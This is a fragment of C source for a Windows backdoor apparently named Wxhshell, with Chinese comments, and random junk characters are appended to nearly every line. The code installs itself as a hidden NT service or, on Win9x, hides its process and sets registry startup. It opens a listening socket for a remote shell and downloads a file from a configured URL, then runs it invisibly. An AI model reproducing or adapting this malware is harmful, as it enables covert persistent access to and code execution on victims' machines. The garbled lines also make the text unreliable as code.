DWORD BasePriority; >6XDX=JVI
ULONG UniqueProcessId; c%jsu"
ULONG InheritedFromUniqueProcessId; bd} r#^'K
} PROCESS_BASIC_INFORMATION; y-%nJD$
Xm%iPrl D
PROCNTQSIP NtQueryInformationProcess; 2ve
lH;
ss/h[4h4h
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DgC3>
yL
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3Ca
\`m)l
n}=rj7
HANDLE hProcess; tF<^9stM
PROCESS_BASIC_INFORMATION pbi; `i=JjgG@
h -Tsi:%b
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =d}gv6v2S
if(NULL == hInst ) return 0; *Yj~]E0`1
+:fqL
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5r^1CFO
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qk+=znJ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W]Y@WKeT
]cn/(U`
if (!NtQueryInformationProcess) return 0; Fq vQk
t8t}7XD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~5FS|[1L
if(!hProcess) return 0; 1NuR/DO
fS5GICx8R
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hyJ
ded&D
:!(YEF#}
CloseHandle(hProcess); dVPq%[J2
>g>f;\mD7$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )Y=w40Yzd
if(hProcess==NULL) return 0; C usVW
/&*m1EN#o
HMODULE hMod; v&p,Clt-2
char procName[255]; kw6cFz
unsigned long cbNeeded; olYPlHF
;RNM
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); caGML|DeI
c:3@[nF~
CloseHandle(hProcess); 1P(%9
$7msL#E7
if(strstr(procName,"services")) return 1; // 以服务启动 XC*uz
l. XknF
return 0; // 注册表启动 17WNJ
} 7vii9Am7
h9w@oRp`~
// 主模块 uo]Hi^r.l
int StartWxhshell(LPSTR lpCmdLine) N|UBaPS|o
{ 0q:(-z\S4
SOCKET wsl; nu#aa#ex>
BOOL val=TRUE; <P+G7!KZ&
int port=0; 0\?_lT2
struct sockaddr_in door; =@Q#dDnFu%
,Adus M
if(wscfg.ws_autoins) Install(); ]jHgo](%
6.7`0v?,n
port=atoi(lpCmdLine); vh<]aiY
//#xK D
if(port<=0) port=wscfg.ws_port; fKPiRlLS
T[i7C3QS
WSADATA data; M,.b`1-w
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
jz|Wj
ybD{4&ZE
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l4iuu
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C>.]Bvg
door.sin_family = AF_INET; Py|H?
, 6=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); i0,%}{`
door.sin_port = htons(port); Ul'~opf
c+@d'yR
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o,*folL
closesocket(wsl); 4y|xUO:
return 1; zkjPLeX
} hknwis%y
fl} rz
if(listen(wsl,2) == INVALID_SOCKET) { E9yFREvQc
closesocket(wsl); "2)+)Db
return 1; :'5G_4y)h
} =giM@MV
Wxhshell(wsl); wm); aWP
WSACleanup(); UI|v/(_^F
DZHrR:q?e
return 0; t`
}20=I+
9F2w.(m
} c*y$bf<
LVPt*S= /
// 以NT服务方式启动 ke3HK9P;
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OSSd;ueur$
{ q`/amI0
DWORD status = 0; 1VhoJGH;C
DWORD specificError = 0xfffffff; IUh5r(d 68
5en
[)3E
serviceStatus.dwServiceType = SERVICE_WIN32; L eG7x7n
serviceStatus.dwCurrentState = SERVICE_START_PENDING; r[.zLXgK
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N oX_?
serviceStatus.dwWin32ExitCode = 0; o7_MMeQ4
serviceStatus.dwServiceSpecificExitCode = 0; J{nyo1A
serviceStatus.dwCheckPoint = 0; Nb^zkg
serviceStatus.dwWaitHint = 0; /3)YWFZZc
A2g"=x[1@K
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }XfS#Xr1aV
if (hServiceStatusHandle==0) return;
o9U0kI=W
GNhtnB
status = GetLastError(); 6MLN>)t
if (status!=NO_ERROR) OYqYI!N/
{ "C$!mdr7
serviceStatus.dwCurrentState = SERVICE_STOPPED; 09}f\/
serviceStatus.dwCheckPoint = 0; $\YLmG
serviceStatus.dwWaitHint = 0; cCo07R
serviceStatus.dwWin32ExitCode = status; GW>7R6i
serviceStatus.dwServiceSpecificExitCode = specificError; Gt\K Ln
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /RA1d<~$q
return; jSeA%Te
} $I}Hk^X
)8 "EI-/.
serviceStatus.dwCurrentState = SERVICE_RUNNING; W2r6jm!
serviceStatus.dwCheckPoint = 0; CX&yjT6`
serviceStatus.dwWaitHint = 0; Q|j@#@O 1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <F#*:Re_y
} z:ru68
#a7Amh\nT
// 处理NT服务事件,比如:启动、停止 ^*cMry
VOID WINAPI NTServiceHandler(DWORD fdwControl) E6k?+i
w
{ -!C
Y,'3
switch(fdwControl) D&z'tf5
{ jm#d7@~4
case SERVICE_CONTROL_STOP: V7B=+(xK
serviceStatus.dwWin32ExitCode = 0; fG8}= xH_&
serviceStatus.dwCurrentState = SERVICE_STOPPED; #.\,y>`
serviceStatus.dwCheckPoint = 0; [p( #WM:
serviceStatus.dwWaitHint = 0; LH3N}J({
{ }%o+1 <=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c:?#zX
} %vf2||a$BS
return; 1^x2WlUm4
case SERVICE_CONTROL_PAUSE: E&iWtwkz
serviceStatus.dwCurrentState = SERVICE_PAUSED; =M/UHOY
break; Z!]U&Ax`Z
case SERVICE_CONTROL_CONTINUE: F(KH-
serviceStatus.dwCurrentState = SERVICE_RUNNING; SCfkv|hO
break; DuO%B
case SERVICE_CONTROL_INTERROGATE: V 9QvQA
r
break; dVsAX(
}; hSx+{4PZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $+lz<~R
} 6yu*a_
)F%wwc^r
// 标准应用程序主函数 4P O%qO
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yv!''F:9F
{ TzevC$m;z
X5L(_0?F1
// 获取操作系统版本 |7S4;
OsIsNt=GetOsVer(); 7kX7\[zN
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2vh!pez_
9?g]qy,1)
// 从命令行安装 r7Q:l ?F2
if(strpbrk(lpCmdLine,"iI")) Install(); -_{C+Y_
l$p_])x
// 下载执行文件 (Qx-KRH
if(wscfg.ws_downexe) { a!0?L0_W&
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7/D9n9F
WinExec(wscfg.ws_filenam,SW_HIDE); siss_1J
} j?f,~Y<k
:b M$;
if(!OsIsNt) { /v
bO/Mr
// 如果时win9x,隐藏进程并且设置为注册表启动 RXx?/\~yd;
HideProc(); qa0JQ_?o]
StartWxhshell(lpCmdLine); F)E7(Un`8
} 0'q(XB`i=
else H%01&u
if(StartFromService()) SVg@xu+
// 以服务方式启动 nIT ^'
StartServiceCtrlDispatcher(DispatchTable); Kc9mI>u H
else 4ye`;hXy
// 普通方式启动 Y&05
*b"
StartWxhshell(lpCmdLine); ](9{}DHV
G7/?hky 0.
return 0; qh)!| B
}